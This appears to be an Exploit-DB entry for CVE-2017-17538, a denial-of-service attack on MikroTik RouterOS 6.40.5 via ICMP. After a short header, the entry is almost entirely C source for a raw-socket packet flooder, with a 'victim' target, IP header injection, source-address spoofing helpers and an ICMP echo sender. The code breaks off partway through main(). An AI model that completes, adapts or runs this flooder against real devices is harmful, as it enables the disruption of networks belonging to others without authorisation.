MikroTik 6.40.5 ICMP - Denial of Service

EDB-ID: 43317
Author: FarazPajohan
Published: 2017-12-11
CVE: CVE-2017-17538
Type: Dos
Platform: Hardware
Vulnerable App: N/A 

 #include <stdlib.h> 
 #include <netinet/ip_icmp.h> 
 #include <arpa/inet.h> 
 #include <unistd.h> 
 #include <netdb.h> 
 #include <string.h> 
 #include <netinet/ip.h> 
 #define handle(i) htons(i) 
 #define cicmp 32 
 #define aicmp() (a_flags & cicmp) 
 #define sending_p() if (sendto(rawsock,&packet,(sizeof packet),0,(struct sockaddr *)&victim,sizeof victim) < 0) {\ 
 perror("sendto");\ 
 exit(-1);\ 
 } 
 struct sockaddr_in victim; 
 u_long change(const char *host); 
 static void inject_iphdr(struct ip *ip, u_char p, u_char len); 
 char *class2ip(const char *class); 
 static void send_icmp(u_char garbage); 
 char *get_plain(const char *crypt_file, const char *xor_data_key); 
 static void usage(const char *argv0); 
 u_long dstaddr; 
 u_short dst_sp, dst_ep, src_sp, src_ep; 
 char *src_class, *dst_class; 
 int a_flags, rawsock; 
 struct { 
 int a; 
 int b; 
 void (*f)(u_char); 
 } a_list[] = { 
 { cicmp, ICMP_ECHO, send_icmp }, 
 { 0, 0, (void *)NULL }, 
 }; 
 int 
 main(int argc, char *argv[]) 
 { 
 int n, i, on = 1; 
 int b_link; 
 #ifdef F_PASS 
 struct stat sb;
Related Posts